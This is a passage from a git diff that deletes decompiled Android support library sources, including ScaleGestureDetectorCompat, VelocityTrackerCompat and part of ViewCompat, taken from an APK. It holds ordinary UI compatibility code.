android.support.v4.view.ScaleGestureDetectorCompat.ScaleGestureDetectorImpl - public boolean isQuickScaleEnabled(Object obj) { - return false; - } - - @Override // android.support.v4.view.ScaleGestureDetectorCompat.ScaleGestureDetectorImpl - public void setQuickScaleEnabled(Object obj, boolean z) { - } - - BaseScaleGestureDetectorImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class ScaleGestureDetectorCompatKitKatImpl implements ScaleGestureDetectorImpl { - ScaleGestureDetectorCompatKitKatImpl() { - } - - @Override // android.support.v4.view.ScaleGestureDetectorCompat.ScaleGestureDetectorImpl - public void setQuickScaleEnabled(Object obj, boolean z) { - ScaleGestureDetectorCompatKitKat.setQuickScaleEnabled(obj, z); - } - - @Override // android.support.v4.view.ScaleGestureDetectorCompat.ScaleGestureDetectorImpl - public boolean isQuickScaleEnabled(Object obj) { - return ScaleGestureDetectorCompatKitKat.isQuickScaleEnabled(obj); - } - } - - private ScaleGestureDetectorCompat() { - } - - public static void setQuickScaleEnabled(Object obj, boolean z) { - IMPL.setQuickScaleEnabled(obj, z); - } - - public static boolean isQuickScaleEnabled(Object obj) { - return IMPL.isQuickScaleEnabled(obj); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ScaleGestureDetectorCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ScaleGestureDetectorCompatKitKat.java deleted file mode 100644 index 072194b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ScaleGestureDetectorCompatKitKat.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.view; - -import android.view.ScaleGestureDetector; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ScaleGestureDetectorCompatKitKat { - private ScaleGestureDetectorCompatKitKat() { - } - - public static void setQuickScaleEnabled(Object obj, boolean z) { - ((ScaleGestureDetector) obj).setQuickScaleEnabled(z); - } - - public static boolean isQuickScaleEnabled(Object obj) { - return ((ScaleGestureDetector) obj).isQuickScaleEnabled(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ScrollingView.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ScrollingView.java deleted file mode 100644 index cc28cb4..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ScrollingView.java +++ /dev/null @@ -1,15 +0,0 @@ -package android.support.v4.view; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface ScrollingView { - int computeHorizontalScrollExtent(); - - int computeHorizontalScrollOffset(); - - int computeHorizontalScrollRange(); - - int computeVerticalScrollExtent(); - - int computeVerticalScrollOffset(); - - int computeVerticalScrollRange(); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/TintableBackgroundView.java b/apk_3230/decompiled_source/sources/android/support/v4/view/TintableBackgroundView.java deleted file mode 100644 index 77de640..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/TintableBackgroundView.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.view; - -import android.content.res.ColorStateList; -import android.graphics.PorterDuff; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface TintableBackgroundView { - ColorStateList getSupportBackgroundTintList(); - - PorterDuff.Mode getSupportBackgroundTintMode(); - - void setSupportBackgroundTintList(ColorStateList colorStateList); - - void setSupportBackgroundTintMode(PorterDuff.Mode mode); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/VelocityTrackerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/VelocityTrackerCompat.java deleted file mode 100644 index 4481f66..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/VelocityTrackerCompat.java +++ /dev/null @@ -1,57 +0,0 @@ -package android.support.v4.view; - -import android.view.VelocityTracker; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class VelocityTrackerCompat { - static final VelocityTrackerVersionImpl IMPL = new HoneycombVelocityTrackerVersionImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface VelocityTrackerVersionImpl { - float getXVelocity(VelocityTracker velocityTracker, int i); - - float getYVelocity(VelocityTracker velocityTracker, int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseVelocityTrackerVersionImpl implements VelocityTrackerVersionImpl { - BaseVelocityTrackerVersionImpl() { - } - - @Override // android.support.v4.view.VelocityTrackerCompat.VelocityTrackerVersionImpl - public float getXVelocity(VelocityTracker velocityTracker, int i) { - return velocityTracker.getXVelocity(); - } - - @Override // android.support.v4.view.VelocityTrackerCompat.VelocityTrackerVersionImpl - public float getYVelocity(VelocityTracker velocityTracker, int i) { - return velocityTracker.getYVelocity(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class HoneycombVelocityTrackerVersionImpl implements VelocityTrackerVersionImpl { - HoneycombVelocityTrackerVersionImpl() { - } - - @Override // android.support.v4.view.VelocityTrackerCompat.VelocityTrackerVersionImpl - public float getXVelocity(VelocityTracker velocityTracker, int i) { - return VelocityTrackerCompatHoneycomb.getXVelocity(velocityTracker, i); - } - - @Override // android.support.v4.view.VelocityTrackerCompat.VelocityTrackerVersionImpl - public float getYVelocity(VelocityTracker velocityTracker, int i) { - return VelocityTrackerCompatHoneycomb.getYVelocity(velocityTracker, i); - } - } - - public static float getXVelocity(VelocityTracker velocityTracker, int i) { - return IMPL.getXVelocity(velocityTracker, i); - } - - public static float getYVelocity(VelocityTracker velocityTracker, int i) { - return IMPL.getYVelocity(velocityTracker, i); - } - - private VelocityTrackerCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/VelocityTrackerCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/view/VelocityTrackerCompatHoneycomb.java deleted file mode 100644 index a054789..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/VelocityTrackerCompatHoneycomb.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.view; - -import android.view.VelocityTracker; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class VelocityTrackerCompatHoneycomb { - VelocityTrackerCompatHoneycomb() { - } - - public static float getXVelocity(VelocityTracker velocityTracker, int i) { - return velocityTracker.getXVelocity(i); - } - - public static float getYVelocity(VelocityTracker velocityTracker, int i) { - return velocityTracker.getYVelocity(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompat.java deleted file mode 100644 index 1c4b7d8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompat.java +++ /dev/null @@ -1,2125 +0,0 @@ -package android.support.v4.view; - -import android.content.res.ColorStateList; -import android.graphics.Matrix; -import android.graphics.Paint; -import android.graphics.PorterDuff; -import android.graphics.Rect; -import android.os.Bundle; -import android.support.v4.os.BuildCompat; -import android.support.v4.view.ViewCompatLollipop; -import android.support.v4.view.accessibility.AccessibilityNodeInfoCompat; -import android.support.v4.view.accessibility.AccessibilityNodeProviderCompat; -import android.util.Log; -import android.view.View; -import android.view.ViewGroup; -import android.view.ViewParent; -import android.view.accessibility.AccessibilityEvent; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.WeakHashMap; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ViewCompat { - public static final int ACCESSIBILITY_LIVE_REGION_ASSERTIVE = 2; - public static final int ACCESSIBILITY_LIVE_REGION_NONE = 0; - public static final int ACCESSIBILITY_LIVE_REGION_POLITE = 1; - private static final long FAKE_FRAME_TIME = 10; - static final ViewCompatImpl IMPL; - public static final int IMPORTANT_FOR_ACCESSIBILITY_AUTO = 0; - public static final int IMPORTANT_FOR_ACCESSIBILITY_NO = 2; - public static final int IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS = 4; - public static final int IMPORTANT_FOR_ACCESSIBILITY_YES = 1; - public static final int LAYER_TYPE_HARDWARE = 2; - public static final int LAYER_TYPE_NONE = 0; - public static final int LAYER_TYPE_SOFTWARE = 1; - public static final int LAYOUT_DIRECTION_INHERIT = 2; - public static final int LAYOUT_DIRECTION_LOCALE = 3; - public static final int LAYOUT_DIRECTION_LTR = 0; - public static final int LAYOUT_DIRECTION_RTL = 1; - public static final int MEASURED_HEIGHT_STATE_SHIFT = 16; - public static final int MEASURED_SIZE_MASK = 16777215; - public static final int MEASURED_STATE_MASK = -16777216; - public static final int MEASURED_STATE_TOO_SMALL = 16777216; - @Deprecated - public static final int OVER_SCROLL_ALWAYS = 0; - @Deprecated - public static final int OVER_SCROLL_IF_CONTENT_SCROLLS = 1; - @Deprecated - public static final int OVER_SCROLL_NEVER = 2; - public static final int SCROLL_AXIS_HORIZONTAL = 1; - public static final int SCROLL_AXIS_NONE = 0; - public static final int SCROLL_AXIS_VERTICAL = 2; - public static final int SCROLL_INDICATOR_BOTTOM = 2; - public static final int SCROLL_INDICATOR_END = 32; - public static final int SCROLL_INDICATOR_LEFT = 4; - public static final int SCROLL_INDICATOR_RIGHT = 8; - public static final int SCROLL_INDICATOR_START = 16; - public static final int SCROLL_INDICATOR_TOP = 1; - private static final String TAG = "ViewCompat"; - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface FocusDirection { - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface FocusRealDirection { - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface FocusRelativeDirection { - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface ScrollIndicators { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ViewCompatImpl { - ViewPropertyAnimatorCompat animate(View view); - - boolean canScrollHorizontally(View view, int i); - - boolean canScrollVertically(View view, int i); - - int combineMeasuredStates(int i, int i2); - - WindowInsetsCompat dispatchApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat); - - void dispatchFinishTemporaryDetach(View view); - - boolean dispatchNestedFling(View view, float f, float f2, boolean z); - - boolean dispatchNestedPreFling(View view, float f, float f2); - - boolean dispatchNestedPreScroll(View view, int i, int i2, int[] iArr, int[] iArr2); - - boolean dispatchNestedScroll(View view, int i, int i2, int i3, int i4, int[] iArr); - - void dispatchStartTemporaryDetach(View view); - - int getAccessibilityLiveRegion(View view); - - AccessibilityNodeProviderCompat getAccessibilityNodeProvider(View view); - - float getAlpha(View view); - - ColorStateList getBackgroundTintList(View view); - - PorterDuff.Mode getBackgroundTintMode(View view); - - Rect getClipBounds(View view); - - float getElevation(View view); - - boolean getFitsSystemWindows(View view); - - int getImportantForAccessibility(View view); - - int getLabelFor(View view); - - int getLayerType(View view); - - int getLayoutDirection(View view); - - Matrix getMatrix(View view); - - int getMeasuredHeightAndState(View view); - - int getMeasuredState(View view); - - int getMeasuredWidthAndState(View view); - - int getMinimumHeight(View view); - - int getMinimumWidth(View view); - - int getPaddingEnd(View view); - - int getPaddingStart(View view); - - ViewParent getParentForAccessibility(View view); - - float getPivotX(View view); - - float getPivotY(View view); - - float getRotation(View view); - - float getRotationX(View view); - - float getRotationY(View view); - - float getScaleX(View view); - - float getScaleY(View view); - - int getScrollIndicators(View view); - - String getTransitionName(View view); - - float getTranslationX(View view); - - float getTranslationY(View view); - - float getTranslationZ(View view); - - int getWindowSystemUiVisibility(View view); - - float getX(View view); - - float getY(View view); - - float getZ(View view); - - boolean hasAccessibilityDelegate(View view); - - boolean hasNestedScrollingParent(View view); - - boolean hasOnClickListeners(View view); - - boolean hasOverlappingRendering(View view); - - boolean hasTransientState(View view); - - boolean isAttachedToWindow(View view); - - boolean isImportantForAccessibility(View view); - - boolean isInLayout(View view); - - boolean isLaidOut(View view); - - boolean isLayoutDirectionResolved(View view); - - boolean isNestedScrollingEnabled(View view); - - boolean isPaddingRelative(View view); - - void jumpDrawablesToCurrentState(View view); - - void offsetLeftAndRight(View view, int i); - - void offsetTopAndBottom(View view, int i); - - WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat); - - void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent); - - void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat); - - void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent); - - boolean performAccessibilityAction(View view, int i, Bundle bundle); - - void postInvalidateOnAnimation(View view); - - void postInvalidateOnAnimation(View view, int i, int i2, int i3, int i4); - - void postOnAnimation(View view, Runnable runnable); - - void postOnAnimationDelayed(View view, Runnable runnable, long j); - - void requestApplyInsets(View view); - - int resolveSizeAndState(int i, int i2, int i3); - - void setAccessibilityDelegate(View view, AccessibilityDelegateCompat accessibilityDelegateCompat); - - void setAccessibilityLiveRegion(View view, int i); - - void setActivated(View view, boolean z); - - void setAlpha(View view, float f); - - void setBackgroundTintList(View view, ColorStateList colorStateList); - - void setBackgroundTintMode(View view, PorterDuff.Mode mode); - - void setChildrenDrawingOrderEnabled(ViewGroup viewGroup, boolean z); - - void setClipBounds(View view, Rect rect); - - void setElevation(View view, float f); - - void setFitsSystemWindows(View view, boolean z); - - void setHasTransientState(View view, boolean z); - - void setImportantForAccessibility(View view, int i); - - void setLabelFor(View view, int i); - - void setLayerPaint(View view, Paint paint); - - void setLayerType(View view, int i, Paint paint); - - void setLayoutDirection(View view, int i); - - void setNestedScrollingEnabled(View view, boolean z); - - void setOnApplyWindowInsetsListener(View view, OnApplyWindowInsetsListener onApplyWindowInsetsListener); - - void setPaddingRelative(View view, int i, int i2, int i3, int i4); - - void setPivotX(View view, float f); - - void setPivotY(View view, float f); - - void setPointerIcon(View view, PointerIconCompat pointerIconCompat); - - void setRotation(View view, float f); - - void setRotationX(View view, float f); - - void setRotationY(View view, float f); - - void setSaveFromParentEnabled(View view, boolean z); - - void setScaleX(View view, float f); - - void setScaleY(View view, float f); - - void setScrollIndicators(View view, int i); - - void setScrollIndicators(View view, int i, int i2); - - void setTransitionName(View view, String str); - - void setTranslationX(View view, float f); - - void setTranslationY(View view, float f); - - void setTranslationZ(View view, float f); - - void setX(View view, float f); - - void setY(View view, float f); - - void setZ(View view, float f); - - boolean startNestedScroll(View view, int i); - - void stopNestedScroll(View view); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseViewCompatImpl implements ViewCompatImpl { - private static Method sChildrenDrawingOrderMethod; - private Method mDispatchFinishTemporaryDetach; - private Method mDispatchStartTemporaryDetach; - private boolean mTempDetachBound; - WeakHashMap mViewPropertyAnimatorCompatMap = null; - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int combineMeasuredStates(int i, int i2) { - return i | i2; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public WindowInsetsCompat dispatchApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) { - return windowInsetsCompat; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getAccessibilityLiveRegion(View view) { - return 0; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public AccessibilityNodeProviderCompat getAccessibilityNodeProvider(View view) { - return null; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getAlpha(View view) { - return 1.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public Rect getClipBounds(View view) { - return null; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getElevation(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean getFitsSystemWindows(View view) { - return false; - } - - long getFrameTime() { - return ViewCompat.FAKE_FRAME_TIME; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getImportantForAccessibility(View view) { - return 0; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getLabelFor(View view) { - return 0; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getLayerType(View view) { - return 0; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getLayoutDirection(View view) { - return 0; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public Matrix getMatrix(View view) { - return null; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getMeasuredState(View view) { - return 0; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getPivotX(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getPivotY(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getRotation(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getRotationX(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getRotationY(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getScaleX(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getScaleY(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getScrollIndicators(View view) { - return 0; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public String getTransitionName(View view) { - return null; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getTranslationX(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getTranslationY(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getTranslationZ(View view) { - return 0.0f; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getWindowSystemUiVisibility(View view) { - return 0; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean hasAccessibilityDelegate(View view) { - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean hasOnClickListeners(View view) { - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean hasOverlappingRendering(View view) { - return true; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean hasTransientState(View view) { - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isImportantForAccessibility(View view) { - return true; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isInLayout(View view) { - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isLayoutDirectionResolved(View view) { - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isPaddingRelative(View view) { - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void jumpDrawablesToCurrentState(View view) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) { - return windowInsetsCompat; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean performAccessibilityAction(View view, int i, Bundle bundle) { - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void requestApplyInsets(View view) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setAccessibilityDelegate(View view, AccessibilityDelegateCompat accessibilityDelegateCompat) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setAccessibilityLiveRegion(View view, int i) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setActivated(View view, boolean z) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setAlpha(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setClipBounds(View view, Rect rect) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setElevation(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setFitsSystemWindows(View view, boolean z) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setHasTransientState(View view, boolean z) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setImportantForAccessibility(View view, int i) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setLabelFor(View view, int i) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setLayerPaint(View view, Paint paint) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setLayerType(View view, int i, Paint paint) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setLayoutDirection(View view, int i) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setOnApplyWindowInsetsListener(View view, OnApplyWindowInsetsListener onApplyWindowInsetsListener) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setPivotX(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setPivotY(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setPointerIcon(View view, PointerIconCompat pointerIconCompat) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setRotation(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setRotationX(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setRotationY(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setSaveFromParentEnabled(View view, boolean z) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setScaleX(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setScaleY(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setScrollIndicators(View view, int i) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setScrollIndicators(View view, int i, int i2) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setTransitionName(View view, String str) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setTranslationX(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setTranslationY(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setTranslationZ(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setX(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setY(View view, float f) { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setZ(View view, float f) { - } - - BaseViewCompatImpl() { - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean canScrollHorizontally(View view, int i) { - return (view instanceof ScrollingView) && canScrollingViewScrollHorizontally((ScrollingView) view, i); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean canScrollVertically(View view, int i) { - return (view instanceof ScrollingView) && canScrollingViewScrollVertically((ScrollingView) view, i); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void postInvalidateOnAnimation(View view) { - view.invalidate(); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void postInvalidateOnAnimation(View view, int i, int i2, int i3, int i4) { - view.invalidate(i, i2, i3, i4); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void postOnAnimation(View view, Runnable runnable) { - view.postDelayed(runnable, getFrameTime()); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void postOnAnimationDelayed(View view, Runnable runnable, long j) { - view.postDelayed(runnable, getFrameTime() + j); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public ViewParent getParentForAccessibility(View view) { - return view.getParent(); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int resolveSizeAndState(int i, int i2, int i3) { - return View.resolveSize(i, i2); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getMeasuredWidthAndState(View view) { - return view.getMeasuredWidth(); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getMeasuredHeightAndState(View view) { - return view.getMeasuredHeight(); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getPaddingStart(View view) { - return view.getPaddingLeft(); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getPaddingEnd(View view) { - return view.getPaddingRight(); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setPaddingRelative(View view, int i, int i2, int i3, int i4) { - view.setPadding(i, i2, i3, i4); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void dispatchStartTemporaryDetach(View view) { - if (!this.mTempDetachBound) { - bindTempDetach(); - } - Method method = this.mDispatchStartTemporaryDetach; - if (method != null) { - try { - method.invoke(view, new Object[0]); - return; - } catch (Exception e) { - Log.d(ViewCompat.TAG, "Error calling dispatchStartTemporaryDetach", e); - return; - } - } - view.onStartTemporaryDetach(); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void dispatchFinishTemporaryDetach(View view) { - if (!this.mTempDetachBound) { - bindTempDetach(); - } - Method method = this.mDispatchFinishTemporaryDetach; - if (method != null) { - try { - method.invoke(view, new Object[0]); - return; - } catch (Exception e) { - Log.d(ViewCompat.TAG, "Error calling dispatchFinishTemporaryDetach", e); - return; - } - } - view.onFinishTemporaryDetach(); - } - - private void bindTempDetach() { - try { - this.mDispatchStartTemporaryDetach = View.class.getDeclaredMethod("dispatchStartTemporaryDetach", new Class[0]); - this.mDispatchFinishTemporaryDetach = View.class.getDeclaredMethod("dispatchFinishTemporaryDetach", new Class[0]); - } catch (NoSuchMethodException e) { - Log.e(ViewCompat.TAG, "Couldn't find method", e); - } - this.mTempDetachBound = true; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getX(View view) { - return view.getLeft(); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getY(View view) { - return view.getTop(); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getMinimumWidth(View view) { - return ViewCompatBase.getMinimumWidth(view); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public int getMinimumHeight(View view) { - return ViewCompatBase.getMinimumHeight(view); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public ViewPropertyAnimatorCompat animate(View view) { - return new ViewPropertyAnimatorCompat(view); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setChildrenDrawingOrderEnabled(ViewGroup viewGroup, boolean z) { - if (sChildrenDrawingOrderMethod == null) { - try { - sChildrenDrawingOrderMethod = ViewGroup.class.getDeclaredMethod("setChildrenDrawingOrderEnabled", Boolean.TYPE); - } catch (NoSuchMethodException e) { - Log.e(ViewCompat.TAG, "Unable to find childrenDrawingOrderEnabled", e); - } - sChildrenDrawingOrderMethod.setAccessible(true); - } - try { - sChildrenDrawingOrderMethod.invoke(viewGroup, Boolean.valueOf(z)); - } catch (IllegalAccessException e2) { - Log.e(ViewCompat.TAG, "Unable to invoke childrenDrawingOrderEnabled", e2); - } catch (IllegalArgumentException e3) { - Log.e(ViewCompat.TAG, "Unable to invoke childrenDrawingOrderEnabled", e3); - } catch (InvocationTargetException e4) { - Log.e(ViewCompat.TAG, "Unable to invoke childrenDrawingOrderEnabled", e4); - } - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setNestedScrollingEnabled(View view, boolean z) { - if (view instanceof NestedScrollingChild) { - ((NestedScrollingChild) view).setNestedScrollingEnabled(z); - } - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isNestedScrollingEnabled(View view) { - if (view instanceof NestedScrollingChild) { - return ((NestedScrollingChild) view).isNestedScrollingEnabled(); - } - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public ColorStateList getBackgroundTintList(View view) { - return ViewCompatBase.getBackgroundTintList(view); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setBackgroundTintList(View view, ColorStateList colorStateList) { - ViewCompatBase.setBackgroundTintList(view, colorStateList); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void setBackgroundTintMode(View view, PorterDuff.Mode mode) { - ViewCompatBase.setBackgroundTintMode(view, mode); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public PorterDuff.Mode getBackgroundTintMode(View view) { - return ViewCompatBase.getBackgroundTintMode(view); - } - - private boolean canScrollingViewScrollHorizontally(ScrollingView scrollingView, int i) { - int computeHorizontalScrollOffset = scrollingView.computeHorizontalScrollOffset(); - int computeHorizontalScrollRange = scrollingView.computeHorizontalScrollRange() - scrollingView.computeHorizontalScrollExtent(); - if (computeHorizontalScrollRange == 0) { - return false; - } - return i < 0 ? computeHorizontalScrollOffset > 0 : computeHorizontalScrollOffset < computeHorizontalScrollRange - 1; - } - - private boolean canScrollingViewScrollVertically(ScrollingView scrollingView, int i) { - int computeVerticalScrollOffset = scrollingView.computeVerticalScrollOffset(); - int computeVerticalScrollRange = scrollingView.computeVerticalScrollRange() - scrollingView.computeVerticalScrollExtent(); - if (computeVerticalScrollRange == 0) { - return false; - } - return i < 0 ? 